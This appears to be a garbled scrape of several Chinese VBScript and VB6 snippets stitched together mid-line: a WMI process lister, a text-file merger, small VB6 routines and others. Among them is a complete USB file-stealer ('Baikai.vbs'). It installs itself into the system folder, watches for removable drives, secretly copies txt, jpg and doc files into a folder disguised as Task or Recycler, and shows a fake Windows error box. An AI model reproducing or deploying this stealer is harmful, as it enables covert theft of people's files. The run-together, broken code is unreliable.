图3.15为一个ComboBox'FileName:ProcessMagnifier.vbs
'Function:Captureinformationabouttherunningprocessesindetail
'codebysomebody
'QQ:240460440
'LastModified:2007-11-1618:25
'仅供学习
ConstHKEY_CURRENT_USER=&H80000001
oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
strKeyPath="Console\%SystemRoot%_system32_cmd.exe"
oReg.CreateKey(HKEY_CURRENT_USER,strKeyPath)
strValueName1="CodePage"
dwValue1=936
strValueName2="ScreenBufferSize"
dwValue2=98304200
strValueName3="WindowSize"
dwValue3=2818173
strValueName4="HistoryNoDup"
dwValue4=0
strValueName5="WindowPosition"
dwValue5=131068
strValueName6="QuickEdit"
dwValue6=2048
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName1,dwValue1)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName2,dwValue2)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName3,dwValue3)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName4,dwValue4)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName5,dwValue5)
oReg.SetDWORDValue(HKEY_CURRENT_USER,strKeyPath,strValueName6,dwValue6)
DimobjWSH,FinalPath
objWSH=WScript.CreateObject("WScript.Shell")
If(LCase(Right(WScript.Fullname,11))="wscript.exe")Then
FinalPath="'"&WScript.ScriptFullName&"'"
objWSH.Run("cmd.exe/kcscript//nologo"&Replace(FinalPath,"'",""""))
WScript.Quit()
EndIf
oReg.DeleteKey(HKEY_CURRENT_USER,strKeyPath)
oReg=Nothing
WScript.Echo()
WScript.Sleep(1000)
WScript.Echo("当前正在运行的进程简要信息列表如下:")
WScript.Echo(vbCrLf)
WScript.Sleep(2000)
DimMyOBJProcessName
OBJWMIProcess=GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select*FromWin32_Process")
WScript.Echo"Name:Priority:PID:Owner:"&vbTab&vbTab&"ExecutablePath:"
WScript.Echo("---------------------------------------------------------------------------------------")
ForEachOBJProcessInOBJWMIProcess
MyOBJProcessName=OBJProcess.Name&""
colProperties=OBJProcess.GetOwner(strNameOfUser,strUserDomain)
WScript.EchoMid(MyOBJProcessName,1,20)&vbTab&OBJProcess.Priority&vbTab&OBJProcess.ProcessID&vbTab&strNameOfUser&vbTab&vbTab&OBJProcess.ExecutablePath
Next
WScript.Sleep(5000)
WScript.Echo(vbCrLf)
WScript.Echo("当前正在运行的进程以及其加载的模块详细信息树状结构如下:")
WScript.Echo(vbCrLf)
WScript.Sleep(3000)
WScript.EchovbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&vbTab&"创建时间文件制造商"
OBJWMIService=GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
OBJRefresher=CreateObject("WbemScripting.SWbemRefresher")
colItems=OBJRefresher.AddEnum(OBJWMIService,"Win32_PerfFormattedData_PerfProc_FullImage_Costly").ObjectSet
OBJRefresher.Refresh()
ForEachOBJItemIncolItems
DimoriginalPath,ModulePath,WMIPathMode,FileManufacturer,LCaseModulePath
DimFileExtension,mark,MyLCaseModulePath,FinalModulePath
originalPath=OBJItem.Name
ModulePath=Split(originalPath,"/")
WMIPathMode=Replace(ModulePath(1),"","\")
OBJWMI=GetObject("winmgmts:\\.\root\CIMV2")
colManufacturer=OBJWMI.ExecQuery("SELECT*FROMCIM_DataFileWhereName='"&WMIPathMode&"'")
ForEachOBJManufacturerIncolManufacturer
FileManufacturer=Trim(OBJManufacturer.Manufacturer)
LCaseModulePath=LCase(Trim(OBJManufacturer.Name))
FileExtension=Right(LCaseModulePath,3)
MyLCaseModulePath=LCaseModulePath&""
FSO=CreateObject("Scripting.FileSystemObject").GetFile(LCaseModulePath)
IfFileExtension="exe"Then
mark="├—"
FinalModulePath=Mid(MyLCaseModulePath,1,118)
WScript.Echo("│")
Else
mark="│├─"
FinalModulePath=Mid(MyLCaseModulePath,1,116)
EndIf
WScript.Echomark&FinalModulePath&FSO.DateCreated&vbTab&FileManufacturer
Next
Next"'提醒内容,Chr(10)为换行符
alertText2=n&"分钟休息时间到了,继续工作PublicSubFocusMe(ctlNameAsControl)
WithctlName
.SelStart=0
.SelLength=Len(ctlName)
EndWith
EndSub
NowaddacalltothissubroutineintheGotFocuseventoftheinputcontrols:
PrivateSubtxtFocusMe_GotFocus()
CallFocusMe(txtFocusMe)
EndSub->
dim xint,xinlu,jiuw
dim objfso,objoutputfile,f,fx
dim objTextFile,strtext
Set objFSO=CreateObject("Scripting.FileSystemObject") '创建FSO对象
jiuw=inputbox("请输入源文件夹所在的路径(含文件夹名称)","请输入多个TXT文件夹所在位置")
if objFSO.folderexists(jiuw) then
set f=objFSO.getfolder(jiuw) '文件所在位路径
else
msgbox "路径错误,请重新输入"
end if
xinlu=inputbox("请输入新的TXT所在的路径(不含书名),如果省略——即直接不输入点确定或取消,则默认是创建在源文件夹同一层位置","新的TXT保存位置")
if objFSO.folderexists(xinlu) or len(xinlu)=0 then
xint=inputbox("请输入新书名的名字","新书名")
if len(xint)>0 then
xint=xinlu & xint
Set objOutputFile=objFSO.CreateTextFile( xint &".txt") '创建名为output的新的TXT,可以修改为你要的名称.txt
else
msgbox "没有输入内容,请重新输入"
end if
else
msgbox "路径错误,请重新输入"
end if
For Each fx In f.Files '循环写入文本内容
Set objTextFile=objFSO.OpenTextFile(fx, ForReading) '找开文件
strText=objTextFile.ReadAll '读取全部
objTextFile.Close '关闭打开的文件
objOutputFile.WriteLine strText '在output.txt写入 文本 内容
Next
代码如下:
PrivateSubSSCommand2_Click()'两种背景图案交替演示
Ifpictfile=filePath&"Pict1.bmp"Then
pictfile="c:\windows\Tiles.bmp"
Else
pictfile=filePath&"Pict1.bmp"
EndIf
Backpict(pictfile)
EndSub->->
oStr="txt|jpg|doc" '文件类型,添加文件类型用“|”隔开
oDistPath="C:\\windows\\system\" '保存路径
oFolderName="Task" '保存文件夹名称
oType=1 '1为task文件夹,2为recycler文件夹,0为不隐藏
oOut=1 '1复制完毕后退出,0复制完毕后不退出,继续循环
'By:白开 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32
'文件夹不存在则创建
If (not fso.FolderExists(oDistPath & oFolderName)) Then
fso.CreateFolder(oDistPath & oFolderName)
End If
'创建记录文件
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True)
'循环监测移动存储设备插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 错误",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close
'隐藏文件夹
oHideFolder oDistPath,oFolderName,oType
else '如果是其它目录,先安装
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs"
Msgbox "安装成功"
end if
Set fso=nothing
Set wshell=nothing
'遍历目录函数
Function TreeIt(sPath)
Set oFolder=fso.GetFolder(sPath)
Set oSubFolders=oFolder.Subfolders
Set oFiles=oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next
For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next
Set oFolder=Nothing
Set oSubFolders=Nothing
End Function
'复制文件函数
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext=fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext
fso.CopyFile FileName,oDistPath&oFolderName&"\"&tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function
'隐藏文件夹函数
Sub oHideFolder(oDistPath,oFolderName,oType)
Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing
Set SysoFolder=fso.GetFolder(oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing
End sub
'By:白开 QQ:343229025
不过要小心不要覆盖真正的系统文件
ResultFile=pCmd.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\SysCmd") & "\ListSysCmd.txt"
ListSysCmd ResultFile
pCmd.Run("Notepad.exe " & ResultFile)
WScript.Quit()
Else '只有一个参数时, 默认处理方式是建立传入的文件路径的快捷方式冰焰v8费如果安装成功,则显示一个消息框通知用户",64,"提示":WScript.Quit
Case "网上邻居"
MsgBox "无效目录。